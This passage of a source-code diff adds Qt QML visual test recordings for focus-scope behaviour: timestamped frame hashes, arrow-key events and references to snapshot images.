Frame { + msec: 800 + hash: "70f4ce2881f2340167f314b49716707a" + } + Frame { + msec: 816 + hash: "70f4ce2881f2340167f314b49716707a" + } + Frame { + msec: 832 + hash: "70f4ce2881f2340167f314b49716707a" + } + Frame { + msec: 848 + hash: "70f4ce2881f2340167f314b49716707a" + } + Frame { + msec: 864 + hash: "70f4ce2881f2340167f314b49716707a" + } + Frame { + msec: 880 + hash: "70f4ce2881f2340167f314b49716707a" + } + Frame { + msec: 896 + hash: "70f4ce2881f2340167f314b49716707a" + } + Frame { + msec: 912 + hash: "70f4ce2881f2340167f314b49716707a" + } + Frame { + msec: 928 + hash: "70f4ce2881f2340167f314b49716707a" + } + Frame { + msec: 944 + hash: "70f4ce2881f2340167f314b49716707a" + } + Frame { + msec: 960 + image: "test.0.png" + } + Frame { + msec: 976 + hash: "70f4ce2881f2340167f314b49716707a" + } + Frame { + msec: 992 + hash: "70f4ce2881f2340167f314b49716707a" + } + Frame { + msec: 1008 + hash: "70f4ce2881f2340167f314b49716707a" + } + Frame { + msec: 1024 + hash: "70f4ce2881f2340167f314b49716707a" + } + Frame { + msec: 1040 + hash: "70f4ce2881f2340167f314b49716707a" + } + Frame { + msec: 1056 + hash: "70f4ce2881f2340167f314b49716707a" + } + Frame { + msec: 1072 + hash: "70f4ce2881f2340167f314b49716707a" + } + Frame { + msec: 1088 + hash: "70f4ce2881f2340167f314b49716707a" + } + Frame { + msec: 1104 + hash: "70f4ce2881f2340167f314b49716707a" + } + Frame { + msec: 1120 + hash: "70f4ce2881f2340167f314b49716707a" + } + Frame { + msec: 1136 + hash: "70f4ce2881f2340167f314b49716707a" + } + Frame { + msec: 1152 + hash: "70f4ce2881f2340167f314b49716707a" + } + Frame { + msec: 1168 + hash: "70f4ce2881f2340167f314b49716707a" + } + Frame { + msec: 1184 + hash: "70f4ce2881f2340167f314b49716707a" + } + Frame { + msec: 1200 + hash: "70f4ce2881f2340167f314b49716707a" + } + Frame { + msec: 1216 + hash: "70f4ce2881f2340167f314b49716707a" + } + Frame { + msec: 1232 + hash: "70f4ce2881f2340167f314b49716707a" + } + Frame { + msec: 1248 + hash: "70f4ce2881f2340167f314b49716707a" + } + Key { + type: 6 + key: 16777236 + modifiers: 536870912 + text: "1d" + autorep: false + count: 1 + } + Frame { + msec: 1264 + hash: "715a587be7a5803af2827e882236d187" + } + Frame { + msec: 1280 + hash: "715a587be7a5803af2827e882236d187" + } + Frame { + msec: 1296 + hash: "715a587be7a5803af2827e882236d187" + } + Frame { + msec: 1312 + hash: "715a587be7a5803af2827e882236d187" + } + Frame { + msec: 1328 + hash: "715a587be7a5803af2827e882236d187" + } + Key { + type: 7 + key: 16777236 + modifiers: 536870912 + text: "1d" + autorep: false + count: 1 + } + Frame { + msec: 1344 + hash: "715a587be7a5803af2827e882236d187" + } + Frame { + msec: 1360 + hash: "715a587be7a5803af2827e882236d187" + } + Frame { + msec: 1376 + hash: "715a587be7a5803af2827e882236d187" + } + Frame { + msec: 1392 + hash: "715a587be7a5803af2827e882236d187" + } + Frame { + msec: 1408 + hash: "715a587be7a5803af2827e882236d187" + } + Frame { + msec: 1424 + hash: "715a587be7a5803af2827e882236d187" + } + Frame { + msec: 1440 + hash: "715a587be7a5803af2827e882236d187" + } + Frame { + msec: 1456 + hash: "715a587be7a5803af2827e882236d187" + } + Frame { + msec: 1472 + hash: "715a587be7a5803af2827e882236d187" + } + Frame { + msec: 1488 + hash: "715a587be7a5803af2827e882236d187" + } + Frame { + msec: 1504 + hash: "715a587be7a5803af2827e882236d187" + } + Frame { + msec: 1520 + hash: "715a587be7a5803af2827e882236d187" + } + Frame { + msec: 1536 + hash: "715a587be7a5803af2827e882236d187" + } + Frame { + msec: 1552 + hash: "715a587be7a5803af2827e882236d187" + } + Frame { + msec: 1568 + hash: "715a587be7a5803af2827e882236d187" + } + Frame { + msec: 1584 + hash: "715a587be7a5803af2827e882236d187" + } + Frame { + msec: 1600 + hash: "715a587be7a5803af2827e882236d187" + } + Frame { + msec: 1616 + hash: "715a587be7a5803af2827e882236d187" + } + Frame { + msec: 1632 + hash: "715a587be7a5803af2827e882236d187" + } + Frame { + msec: 1648 + hash: "715a587be7a5803af2827e882236d187" + } + Frame { + msec: 1664 + hash: "715a587be7a5803af2827e882236d187" + } + Frame { + msec: 1680 + hash: "715a587be7a5803af2827e882236d187" + } + Frame { + msec: 1696 + hash: "715a587be7a5803af2827e882236d187" + } + Frame { + msec: 1712 + hash: "715a587be7a5803af2827e882236d187" + } + Frame { + msec: 1728 + hash: "715a587be7a5803af2827e882236d187" + } + Frame { + msec: 1744 + hash: "715a587be7a5803af2827e882236d187" + } + Frame { + msec: 1760 + hash: "715a587be7a5803af2827e882236d187" + } + Frame { + msec: 1776 + hash: "715a587be7a5803af2827e882236d187" + } + Frame { + msec: 1792 + hash: "715a587be7a5803af2827e882236d187" + } + Frame { + msec: 1808 + hash: "715a587be7a5803af2827e882236d187" + } + Key { + type: 6 + key: 16777234 + modifiers: 536870912 + text: "1c" + autorep: false + count: 1 + } + Frame { + msec: 1824 + hash: "70f4ce2881f2340167f314b49716707a" + } + Frame { + msec: 1840 + hash: "70f4ce2881f2340167f314b49716707a" + } + Frame { + msec: 1856 + hash: "70f4ce2881f2340167f314b49716707a" + } + Frame { + msec: 1872 + hash: "70f4ce2881f2340167f314b49716707a" + } + Frame { + msec: 1888 + hash: "70f4ce2881f2340167f314b49716707a" + } + Frame { + msec: 1904 + hash: "70f4ce2881f2340167f314b49716707a" + } + Frame { + msec: 1920 + image: "test.1.png" + } + Frame { + msec: 1936 + hash: "70f4ce2881f2340167f314b49716707a" + } + Frame { + msec: 1952 + hash: "70f4ce2881f2340167f314b49716707a" + } + Key { + type: 7 + key: 16777234 + modifiers: 536870912 + text: "1c" + autorep: false + count: 1 + } + Frame { + msec: 1968 + hash: "70f4ce2881f2340167f314b49716707a" + } + Frame { + msec: 1984 + hash: "70f4ce2881f2340167f314b49716707a" + } + Frame { + msec: 2000 + hash: "70f4ce2881f2340167f314b49716707a" + } + Frame { + msec: 2016 + hash: "70f4ce2881f2340167f314b49716707a" + } + Frame { + msec: 2032 + hash: "70f4ce2881f2340167f314b49716707a" + } + Frame { + msec: 2048 + hash: "70f4ce2881f2340167f314b49716707a" + } + Frame { + msec: 2064 + hash: "70f4ce2881f2340167f314b49716707a" + } + Frame { + msec: 2080 + hash: "70f4ce2881f2340167f314b49716707a" + } + Frame { + msec: 2096 + hash: "70f4ce2881f2340167f314b49716707a" + } + Frame { + msec: 2112 + hash: "70f4ce2881f2340167f314b49716707a" + } + Frame { + msec: 2128 + hash: "70f4ce2881f2340167f314b49716707a" + } + Frame { + msec: 2144 + hash: "70f4ce2881f2340167f314b49716707a" + } + Frame { + msec: 2160 + hash: "70f4ce2881f2340167f314b49716707a" + } + Frame { + msec: 2176 + hash: "70f4ce2881f2340167f314b49716707a" + } + Frame { + msec: 2192 + hash: "70f4ce2881f2340167f314b49716707a" + } + Frame { + msec: 2208 + hash: "70f4ce2881f2340167f314b49716707a" + } + Frame { + msec: 2224 + hash: "70f4ce2881f2340167f314b49716707a" + } + Frame { + msec: 2240 + hash: "70f4ce2881f2340167f314b49716707a" + } + Frame { + msec: 2256 + hash: "70f4ce2881f2340167f314b49716707a" + } + Frame { + msec: 2272 + hash: "70f4ce2881f2340167f314b49716707a" + } + Frame { + msec: 2288 + hash: "70f4ce2881f2340167f314b49716707a" + } + Frame { + msec: 2304 + hash: "70f4ce2881f2340167f314b49716707a" + } + Frame { + msec: 2320 + hash: "70f4ce2881f2340167f314b49716707a" + } + Frame { + msec: 2336 + hash: "70f4ce2881f2340167f314b49716707a" + } + Frame { + msec: 2352 + hash: "70f4ce2881f2340167f314b49716707a" + } + Key { + type: 6 + key: 16777237 + modifiers: 536870912 + text: "1f" + autorep: false + count: 1 + } + Frame { + msec: 2368 + hash: "773f573d4b37181f7a784597a30cd73d" + } + Frame { + msec: 2384 + hash: "773f573d4b37181f7a784597a30cd73d" + } + Frame { + msec: 2400 + hash: "773f573d4b37181f7a784597a30cd73d" + } + Frame { + msec: 2416 + hash: "773f573d4b37181f7a784597a30cd73d" + } + Frame { + msec: 2432 + hash: "773f573d4b37181f7a784597a30cd73d" + } + Frame { + msec: 2448 + hash: "773f573d4b37181f7a784597a30cd73d" + } + Frame { + msec: 2464 + hash: "773f573d4b37181f7a784597a30cd73d" + } + Key { + type: 7 + key: 16777237 + modifiers: 536870912 + text: "1f" + autorep: false + count: 1 + } + Frame { + msec: 2480 + hash: "773f573d4b37181f7a784597a30cd73d" + } + Frame { + msec: 2496 + hash: "773f573d4b37181f7a784597a30cd73d" + } + Frame { + msec: 2512 + hash: "773f573d4b37181f7a784597a30cd73d" + } + Frame { + msec: 2528 + hash: "773f573d4b37181f7a784597a30cd73d" + } + Frame { + msec: 2544 + hash: "773f573d4b37181f7a784597a30cd73d" + } + Frame { + msec: 2560 + hash: "773f573d4b37181f7a784597a30cd73d" + } + Frame { + msec: 2576 + hash: "773f573d4b37181f7a784597a30cd73d" + } + Frame { + msec: 2592 + hash: "773f573d4b37181f7a784597a30cd73d" + } + Frame { + msec: 2608 + hash: "773f573d4b37181f7a784597a30cd73d" + } + Frame { + msec: 2624 + hash: "773f573d4b37181f7a784597a30cd73d" + } + Frame { + msec: 2640 + hash: "773f573d4b37181f7a784597a30cd73d" + } + Frame { + msec: 2656 + hash: "773f573d4b37181f7a784597a30cd73d" + } + Frame { + msec: 2672 + hash: "773f573d4b37181f7a784597a30cd73d" + } + Frame { + msec: 2688 + hash: "773f573d4b37181f7a784597a30cd73d" + } + Frame { + msec: 2704 + hash: "773f573d4b37181f7a784597a30cd73d" + } + Frame { + msec: 2720 + hash: "773f573d4b37181f7a784597a30cd73d" + } + Frame { + msec: 2736 + hash: "773f573d4b37181f7a784597a30cd73d" + } + Frame { + msec: 2752 + hash: "773f573d4b37181f7a784597a30cd73d" + } + Frame { + msec: 2768 + hash: "773f573d4b37181f7a784597a30cd73d" + } + Frame { + msec: 2784 + hash: "773f573d4b37181f7a784597a30cd73d" + } + Frame { + msec: 2800 + hash: "773f573d4b37181f7a784597a30cd73d" + } + Frame { + msec: 2816 + hash: "773f573d4b37181f7a784597a30cd73d" + } + Frame { + msec: 2832 + hash: "773f573d4b37181f7a784597a30cd73d" + } + Frame { + msec: 2848 + hash: "773f573d4b37181f7a784597a30cd73d" + } + Frame { + msec: 2864 + hash: "773f573d4b37181f7a784597a30cd73d" + } + Frame { + msec: 2880 + image: "test.2.png" + } + Frame { + msec: 2896 + hash: "773f573d4b37181f7a784597a30cd73d" + } + Frame { + msec: 2912 + hash: "773f573d4b37181f7a784597a30cd73d" + } + Frame { + msec: 2928 + hash: "773f573d4b37181f7a784597a30cd73d" + } + Frame { + msec: 2944 + hash: "773f573d4b37181f7a784597a30cd73d" + } + Frame { + msec: 2960 + hash: "773f573d4b37181f7a784597a30cd73d" + } + Frame { + msec: 2976 + hash: "773f573d4b37181f7a784597a30cd73d" + } + Key { + type: 6 + key: 16777235 + modifiers: 536870912 + text: "1e" + autorep: false + count: 1 + } + Frame { + msec: 2992 + hash: "70f4ce2881f2340167f314b49716707a" + } + Frame { + msec: 3008 + hash: "70f4ce2881f2340167f314b49716707a" + } + Frame { + msec: 3024 + hash: "70f4ce2881f2340167f314b49716707a" + } + Frame { + msec: 3040 + hash: "70f4ce2881f2340167f314b49716707a" + } + Frame { + msec: 3056 + hash: "70f4ce2881f2340167f314b49716707a" + } + Frame { + msec: 3072 + hash: "70f4ce2881f2340167f314b49716707a" + } + Frame { + msec: 3088 + hash: "70f4ce2881f2340167f314b49716707a" + } + Key { + type: 7 + key: 16777235 + modifiers: 536870912 + text: "1e" + autorep: false + count: 1 + } + Frame { + msec: 3104 + hash: "70f4ce2881f2340167f314b49716707a" + } + Frame { + msec: 3120 + hash: "70f4ce2881f2340167f314b49716707a" + } + Frame { + msec: 3136 + hash: "70f4ce2881f2340167f314b49716707a" + } + Frame { + msec: 3152 + hash: "70f4ce2881f2340167f314b49716707a" + } + Frame { + msec: 3168 + hash: "70f4ce2881f2340167f314b49716707a" + } + Frame { + msec: 3184 + hash: "70f4ce2881f2340167f314b49716707a" + } + Frame { + msec: 3200 + hash: "70f4ce2881f2340167f314b49716707a" + } + Frame { + msec: 3216 + hash: "70f4ce2881f2340167f314b49716707a" + } + Frame { + msec: 3232 + hash: "70f4ce2881f2340167f314b49716707a" + } + Frame { + msec: 3248 + hash: "70f4ce2881f2340167f314b49716707a" + } + Frame { + msec: 3264 + hash: "70f4ce2881f2340167f314b49716707a" + } + Frame { + msec: 3280 + hash: "70f4ce2881f2340167f314b49716707a" + } + Frame { + msec: 3296 + hash: "70f4ce2881f2340167f314b49716707a" + } + Frame { + msec: 3312 + hash: "70f4ce2881f2340167f314b49716707a" + } + Frame { + msec: 3328 + hash: "70f4ce2881f2340167f314b49716707a" + } + Frame { + msec: 3344 + hash: "70f4ce2881f2340167f314b49716707a" + } + Frame { + msec: 3360 + hash: "70f4ce2881f2340167f314b49716707a" + } + Frame { + msec: 3376 + hash: "70f4ce2881f2340167f314b49716707a" + } + Frame { + msec: 3392 + hash: "70f4ce2881f2340167f314b49716707a" + } + Frame { + msec: 3408 + hash: "70f4ce2881f2340167f314b49716707a" + } + Frame { + msec: 3424 + hash: "70f4ce2881f2340167f314b49716707a" + } + Frame { + msec: 3440 + hash: "70f4ce2881f2340167f314b49716707a" + } + Frame { + msec: 3456 + hash: "70f4ce2881f2340167f314b49716707a" + } + Frame { + msec: 3472 + hash: "70f4ce2881f2340167f314b49716707a" + } + Frame { + msec: 3488 + hash: "70f4ce2881f2340167f314b49716707a" + } + Frame { + msec: 3504 + hash: "70f4ce2881f2340167f314b49716707a" + } + Frame { + msec: 3520 + hash: "70f4ce2881f2340167f314b49716707a" + } + Frame { + msec: 3536 + hash: "70f4ce2881f2340167f314b49716707a" + } + Key { + type: 6 + key: 16777236 + modifiers: 536870912 + text: "1d" + autorep: false + count: 1 + } + Frame { + msec: 3552 + hash: "715a587be7a5803af2827e882236d187" + } + Frame { + msec: 3568 + hash: "715a587be7a5803af2827e882236d187" + } + Frame { + msec: 3584 + hash: "715a587be7a5803af2827e882236d187" + } + Frame { + msec: 3600 + hash: "715a587be7a5803af2827e882236d187" + } + Frame { + msec: 3616 + hash: "715a587be7a5803af2827e882236d187" + } + Frame { + msec: 3632 + hash: "715a587be7a5803af2827e882236d187" + } + Frame { + msec: 3648 + hash: "715a587be7a5803af2827e882236d187" + } + Key { + type: 7 + key: 16777236 + modifiers: 536870912 + text: "1d" + autorep: false + count: 1 + } + Frame { + msec: 3664 + hash: "715a587be7a5803af2827e882236d187" + } + Frame { + msec: 3680 + hash: "715a587be7a5803af2827e882236d187" + } + Frame { + msec: 3696 + hash: "715a587be7a5803af2827e882236d187" + } + Frame { + msec: 3712 + hash: "715a587be7a5803af2827e882236d187" + } + Frame { + msec: 3728 + hash: "715a587be7a5803af2827e882236d187" + } + Frame { + msec: 3744 + hash: "715a587be7a5803af2827e882236d187" + } + Frame { + msec: 3760 + hash: "715a587be7a5803af2827e882236d187" + } + Frame { + msec: 3776 + hash: "715a587be7a5803af2827e882236d187" + } + Frame { + msec: 3792 + hash: "715a587be7a5803af2827e882236d187" + } + Frame { + msec: 3808 + hash: "715a587be7a5803af2827e882236d187" + } + Frame { + msec: 3824 + hash: "715a587be7a5803af2827e882236d187" + } + Frame { + msec: 3840 + image: "test.3.png" + } + Frame { + msec: 3856 + hash: "715a587be7a5803af2827e882236d187" + } + Frame { + msec: 3872 + hash: "715a587be7a5803af2827e882236d187" + } + Frame { + msec: 3888 + hash: "715a587be7a5803af2827e882236d187" + } + Frame { + msec: 3904 + hash: "715a587be7a5803af2827e882236d187" + } + Frame { + msec: 3920 + hash: "715a587be7a5803af2827e882236d187" + } + Frame { + msec: 3936 + hash: "715a587be7a5803af2827e882236d187" + } + Frame { + msec: 3952 + hash: "715a587be7a5803af2827e882236d187" + } + Frame { + msec: 3968 + hash: "715a587be7a5803af2827e882236d187" + } + Frame { + msec: 3984 + hash: "715a587be7a5803af2827e882236d187" + } + Frame { + msec: 4000 + hash: "715a587be7a5803af2827e882236d187" + } + Frame { + msec: 4016 + hash: "715a587be7a5803af2827e882236d187" + } + Frame { + msec: 4032 + hash: "715a587be7a5803af2827e882236d187" + } + Frame { + msec: 4048 + hash: "715a587be7a5803af2827e882236d187" + } + Frame { + msec: 4064 + hash: "715a587be7a5803af2827e882236d187" + } + Frame { + msec: 4080 + hash: "715a587be7a5803af2827e882236d187" + } + Frame { + msec: 4096 + hash: "715a587be7a5803af2827e882236d187" + } + Frame { + msec: 4112 + hash: "715a587be7a5803af2827e882236d187" + } + Frame { + msec: 4128 + hash: "715a587be7a5803af2827e882236d187" + } + Frame { + msec: 4144 + hash: "715a587be7a5803af2827e882236d187" + } + Frame { + msec: 4160 + hash: "715a587be7a5803af2827e882236d187" + } + Frame { + msec: 4176 + hash: "715a587be7a5803af2827e882236d187" + } + Key { + type: 6 + key: 16777237 + modifiers: 536870912 + text: "1f" + autorep: false + count: 1 + } + Frame { + msec: 4192 + hash: "773f573d4b37181f7a784597a30cd73d" + } + Frame { + msec: 4208 + hash: "773f573d4b37181f7a784597a30cd73d" + } + Frame { + msec: 4224 + hash: "773f573d4b37181f7a784597a30cd73d" + } + Frame { + msec: 4240 + hash: "773f573d4b37181f7a784597a30cd73d" + } + Frame { + msec: 4256 + hash: "773f573d4b37181f7a784597a30cd73d" + } + Frame { + msec: 4272 + hash: "773f573d4b37181f7a784597a30cd73d" + } + Key { + type: 7 + key: 16777237 + modifiers: 536870912 + text: "1f" + autorep: false + count: 1 + } + Frame { + msec: 4288 + hash: "773f573d4b37181f7a784597a30cd73d" + } + Frame { + msec: 4304 + hash: "773f573d4b37181f7a784597a30cd73d" + } + Frame { + msec: 4320 + hash: "773f573d4b37181f7a784597a30cd73d" + } + Frame { + msec: 4336 + hash: "773f573d4b37181f7a784597a30cd73d" + } + Frame { + msec: 4352 + hash: "773f573d4b37181f7a784597a30cd73d" + } + Frame { + msec: 4368 + hash: "773f573d4b37181f7a784597a30cd73d" + } + Frame { + msec: 4384 + hash: "773f573d4b37181f7a784597a30cd73d" + } + Frame { + msec: 4400 + hash: "773f573d4b37181f7a784597a30cd73d" + } + Frame { + msec: 4416 + hash: "773f573d4b37181f7a784597a30cd73d" + } + Frame { + msec: 4432 + hash: "773f573d4b37181f7a784597a30cd73d" + } + Frame { + msec: 4448 + hash: "773f573d4b37181f7a784597a30cd73d" + } + Frame { + msec: 4464 + hash: "773f573d4b37181f7a784597a30cd73d" + } + Frame { + msec: 4480 + hash: "773f573d4b37181f7a784597a30cd73d" + } + Frame { + msec: 4496 + hash: "773f573d4b37181f7a784597a30cd73d" + } + Frame { + msec: 4512 + hash: "773f573d4b37181f7a784597a30cd73d" + } + Frame { + msec: 4528 + hash: "773f573d4b37181f7a784597a30cd73d" + } + Frame { + msec: 4544 + hash: "773f573d4b37181f7a784597a30cd73d" + } + Frame { + msec: 4560 + hash: "773f573d4b37181f7a784597a30cd73d" + } + Frame { + msec: 4576 + hash: "773f573d4b37181f7a784597a30cd73d" + } + Frame { + msec: 4592 + hash: "773f573d4b37181f7a784597a30cd73d" + } + Frame { + msec: 4608 + hash: "773f573d4b37181f7a784597a30cd73d" + } + Frame { + msec: 4624 + hash: "773f573d4b37181f7a784597a30cd73d" + } + Frame { + msec: 4640 + hash: "773f573d4b37181f7a784597a30cd73d" + } + Frame { + msec: 4656 + hash: "773f573d4b37181f7a784597a30cd73d" + } + Frame { + msec: 4672 + hash: "773f573d4b37181f7a784597a30cd73d" + } + Frame { + msec: 4688 + hash: "773f573d4b37181f7a784597a30cd73d" + } + Frame { + msec: 4704 + hash: "773f573d4b37181f7a784597a30cd73d" + } + Frame { + msec: 4720 + hash: "773f573d4b37181f7a784597a30cd73d" + } + Frame { + msec: 4736 + hash: "773f573d4b37181f7a784597a30cd73d" + } + Frame { + msec: 4752 + hash: "773f573d4b37181f7a784597a30cd73d" + } + Frame { + msec: 4768 + hash: "773f573d4b37181f7a784597a30cd73d" + } + Frame { + msec: 4784 + hash: "773f573d4b37181f7a784597a30cd73d" + } + Key { + type: 6 + key: 16777235 + modifiers: 536870912 + text: "1e" + autorep: false + count: 1 + } + Frame { + msec: 4800 + image: "test.4.png" + } + Frame { + msec: 4816 + hash: "715a587be7a5803af2827e882236d187" + } + Frame { + msec: 4832 + hash: "715a587be7a5803af2827e882236d187" + } + Frame { + msec: 4848 + hash: "715a587be7a5803af2827e882236d187" + } + Frame { + msec: 4864 + hash: "715a587be7a5803af2827e882236d187" + } + Frame { + msec: 4880 + hash: "715a587be7a5803af2827e882236d187" + } + Frame { + msec: 4896 + hash: "715a587be7a5803af2827e882236d187" + } + Key { + type: 7 + key: 16777235 + modifiers: 536870912 + text: "1e" + autorep: false + count: 1 + } + Frame { + msec: 4912 + hash: "715a587be7a5803af2827e882236d187" + } + Frame { + msec: 4928 + hash: "715a587be7a5803af2827e882236d187" + } + Frame { + msec: 4944 + hash: "715a587be7a5803af2827e882236d187" + } + Frame { + msec: 4960 + hash: "715a587be7a5803af2827e882236d187" + } + Frame { + msec: 4976 + hash: "715a587be7a5803af2827e882236d187" + } + Frame { + msec: 4992 + hash: "715a587be7a5803af2827e882236d187" + } + Frame { + msec: 5008 + hash: "715a587be7a5803af2827e882236d187" + } + Frame { + msec: 5024 + hash: "715a587be7a5803af2827e882236d187" + } + Frame { + msec: 5040 + hash: "715a587be7a5803af2827e882236d187" + } + Frame { + msec: 5056 + hash: "715a587be7a5803af2827e882236d187" + } + Frame { + msec: 5072 + hash: "715a587be7a5803af2827e882236d187" + } + Frame { + msec: 5088 + hash: "715a587be7a5803af2827e882236d187" + } + Frame { + msec: 5104 + hash: "715a587be7a5803af2827e882236d187" + } + Frame { + msec: 5120 + hash: "715a587be7a5803af2827e882236d187" + } + Frame { + msec: 5136 + hash: "715a587be7a5803af2827e882236d187" + } + Frame { + msec: 5152 + hash: "715a587be7a5803af2827e882236d187" + } + Frame { + msec: 5168 + hash: "715a587be7a5803af2827e882236d187" + } + Frame { + msec: 5184 + hash: "715a587be7a5803af2827e882236d187" + } + Frame { + msec: 5200 + hash: "715a587be7a5803af2827e882236d187" + } + Frame { + msec: 5216 + hash: "715a587be7a5803af2827e882236d187" + } + Frame { + msec: 5232 + hash: "715a587be7a5803af2827e882236d187" + } + Frame { + msec: 5248 + hash: "715a587be7a5803af2827e882236d187" + } + Frame { + msec: 5264 + hash: "715a587be7a5803af2827e882236d187" + } + Frame { + msec: 5280 + hash: "715a587be7a5803af2827e882236d187" + } + Frame { + msec: 5296 + hash: "715a587be7a5803af2827e882236d187" + } + Frame { + msec: 5312 + hash: "715a587be7a5803af2827e882236d187" + } + Frame { + msec: 5328 + hash: "715a587be7a5803af2827e882236d187" + } + Frame { + msec: 5344 + hash: "715a587be7a5803af2827e882236d187" + } + Frame { + msec: 5360 + hash: "715a587be7a5803af2827e882236d187" + } + Frame { + msec: 5376 + hash: "715a587be7a5803af2827e882236d187" + } + Frame { + msec: 5392 + hash: "715a587be7a5803af2827e882236d187" + } + Frame { + msec: 5408 + hash: "715a587be7a5803af2827e882236d187" + } + Frame { + msec: 5424 + hash: "715a587be7a5803af2827e882236d187" + } + Frame { + msec: 5440 + hash: "715a587be7a5803af2827e882236d187" + } + Frame { + msec: 5456 + hash: "715a587be7a5803af2827e882236d187" + } + Frame { + msec: 5472 + hash: "715a587be7a5803af2827e882236d187" + } + Frame { + msec: 5488 + hash: "715a587be7a5803af2827e882236d187" + } + Frame { + msec: 5504 + hash: "715a587be7a5803af2827e882236d187" + } + Frame { + msec: 5520 + hash: "715a587be7a5803af2827e882236d187" + } + Frame { + msec: 5536 + hash: "715a587be7a5803af2827e882236d187" + } + Frame { + msec: 5552 + hash: "715a587be7a5803af2827e882236d187" + } + Frame { + msec: 5568 + hash: "715a587be7a5803af2827e882236d187" + } + Frame { + msec: 5584 + hash: "715a587be7a5803af2827e882236d187" + } + Frame { + msec: 5600 + hash: "715a587be7a5803af2827e882236d187" + } + Frame { + msec: 5616 + hash: "715a587be7a5803af2827e882236d187" + } + Frame { + msec: 5632 + hash: "715a587be7a5803af2827e882236d187" + } + Frame { + msec: 5648 + hash: "715a587be7a5803af2827e882236d187" + } + Frame { + msec: 5664 + hash: "715a587be7a5803af2827e882236d187" + } + Frame { + msec: 5680 + hash: "715a587be7a5803af2827e882236d187" + } + Frame { + msec: 5696 + hash: "715a587be7a5803af2827e882236d187" + } + Frame { + msec: 5712 + hash: "715a587be7a5803af2827e882236d187" + } + Frame { + msec: 5728 + hash: "715a587be7a5803af2827e882236d187" + } + Frame { + msec: 5744 + hash: "715a587be7a5803af2827e882236d187" + } + Frame { + msec: 5760 + image: "test.5.png" + } + Frame { + msec: 5776 + hash: "715a587be7a5803af2827e882236d187" + } + Frame { + msec: 5792 + hash: "715a587be7a5803af2827e882236d187" + } + Key { + type: 6 + key: 16777249 + modifiers: 0 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 5808 + hash: "715a587be7a5803af2827e882236d187" + } + Frame { + msec: 5824 + hash: "715a587be7a5803af2827e882236d187" + } + Frame { + msec: 5840 + hash: "715a587be7a5803af2827e882236d187" + } + Frame { + msec: 5856 + hash: "715a587be7a5803af2827e882236d187" + } + Frame { + msec: 5872 + hash: "715a587be7a5803af2827e882236d187" + } + Frame { + msec: 5888 + hash: "715a587be7a5803af2827e882236d187" + } +} diff --git a/tests/auto/declarative/qmlvisual/focusscope/data-MAC/test2.0.png b/tests/auto/declarative/qmlvisual/focusscope/data-MAC/test2.0.png new file mode 100644 index 0000000..fa711c1 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/focusscope/data-MAC/test2.0.png differ diff --git a/tests/auto/declarative/qmlvisual/focusscope/data-MAC/test2.1.png b/tests/auto/declarative/qmlvisual/focusscope/data-MAC/test2.1.png new file mode 100644 index 0000000..fa711c1 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/focusscope/data-MAC/test2.1.png differ diff --git a/tests/auto/declarative/qmlvisual/focusscope/data-MAC/test2.qml b/tests/auto/declarative/qmlvisual/focusscope/data-MAC/test2.qml new file mode 100644 index 0000000..7837ad9 --- /dev/null +++ b/tests/auto/declarative/qmlvisual/focusscope/data-MAC/test2.qml @@ -0,0 +1,607 @@ +import Qt.VisualTest 4.6 + +VisualTest { + Frame { + msec: 0 + } + Frame { + msec: 16 + hash: "9ecdd4addcaea53cdca16f3496ceb15c" + } + Frame { + msec: 32 + hash: "9ecdd4addcaea53cdca16f3496ceb15c" + } + Frame { + msec: 48 + hash: "9ecdd4addcaea53cdca16f3496ceb15c" + } + Frame { + msec: 64 + hash: "9ecdd4addcaea53cdca16f3496ceb15c" + } + Frame { + msec: 80 + hash: "9ecdd4addcaea53cdca16f3496ceb15c" + } + Frame { + msec: 96 + hash: "9ecdd4addcaea53cdca16f3496ceb15c" + } + Frame { + msec: 112 + hash: "9ecdd4addcaea53cdca16f3496ceb15c" + } + Frame { + msec: 128 + hash: "9ecdd4addcaea53cdca16f3496ceb15c" + } + Frame { + msec: 144 + hash: "9ecdd4addcaea53cdca16f3496ceb15c" + } + Frame { + msec: 160 + hash: "9ecdd4addcaea53cdca16f3496ceb15c" + } + Frame { + msec: 176 + hash: "9ecdd4addcaea53cdca16f3496ceb15c" + } + Frame { + msec: 192 + hash: "9ecdd4addcaea53cdca16f3496ceb15c" + } + Frame { + msec: 208 + hash: "9ecdd4addcaea53cdca16f3496ceb15c" + } + Frame { + msec: 224 + hash: "9ecdd4addcaea53cdca16f3496ceb15c" + } + Frame { + msec: 240 + hash: "9ecdd4addcaea53cdca16f3496ceb15c" + } + Frame { + msec: 256 + hash: "9ecdd4addcaea53cdca16f3496ceb15c" + } + Frame { + msec: 272 + hash: "9ecdd4addcaea53cdca16f3496ceb15c" + } + Frame { + msec: 288 + hash: "9ecdd4addcaea53cdca16f3496ceb15c" + } + Frame { + msec: 304 + hash: "9ecdd4addcaea53cdca16f3496ceb15c" + } + Frame { + msec: 320 + hash: "9ecdd4addcaea53cdca16f3496ceb15c" + } + Frame { + msec: 336 + hash: "9ecdd4addcaea53cdca16f3496ceb15c" + } + Frame { + msec: 352 + hash: "9ecdd4addcaea53cdca16f3496ceb15c" + } + Frame { + msec: 368 + hash: "9ecdd4addcaea53cdca16f3496ceb15c" + } + Frame { + msec: 384 + hash: "9ecdd4addcaea53cdca16f3496ceb15c" + } + Frame { + msec: 400 + hash: "9ecdd4addcaea53cdca16f3496ceb15c" + } + Frame { + msec: 416 + hash: "9ecdd4addcaea53cdca16f3496ceb15c" + } + Frame { + msec: 432 + hash: "9ecdd4addcaea53cdca16f3496ceb15c" + } + Frame { + msec: 448 + hash: "9ecdd4addcaea53cdca16f3496ceb15c" + } + Frame { + msec: 464 + hash: "9ecdd4addcaea53cdca16f3496ceb15c" + } + Frame { + msec: 480 + hash: "9ecdd4addcaea53cdca16f3496ceb15c" + } + Frame { + msec: 496 + hash: "9ecdd4addcaea53cdca16f3496ceb15c" + } + Frame { + msec: 512 + hash: "9ecdd4addcaea53cdca16f3496ceb15c" + } + Frame { + msec: 528 + hash: "9ecdd4addcaea53cdca16f3496ceb15c" + } + Frame { + msec: 544 + hash: "9ecdd4addcaea53cdca16f3496ceb15c" + } + Frame { + msec: 560 + hash: "9ecdd4addcaea53cdca16f3496ceb15c" + } + Frame { + msec: 576 + hash: "9ecdd4addcaea53cdca16f3496ceb15c" + } + Frame { + msec: 592 + hash: "9ecdd4addcaea53cdca16f3496ceb15c" + } + Frame { + msec: 608 + hash: "9ecdd4addcaea53cdca16f3496ceb15c" + 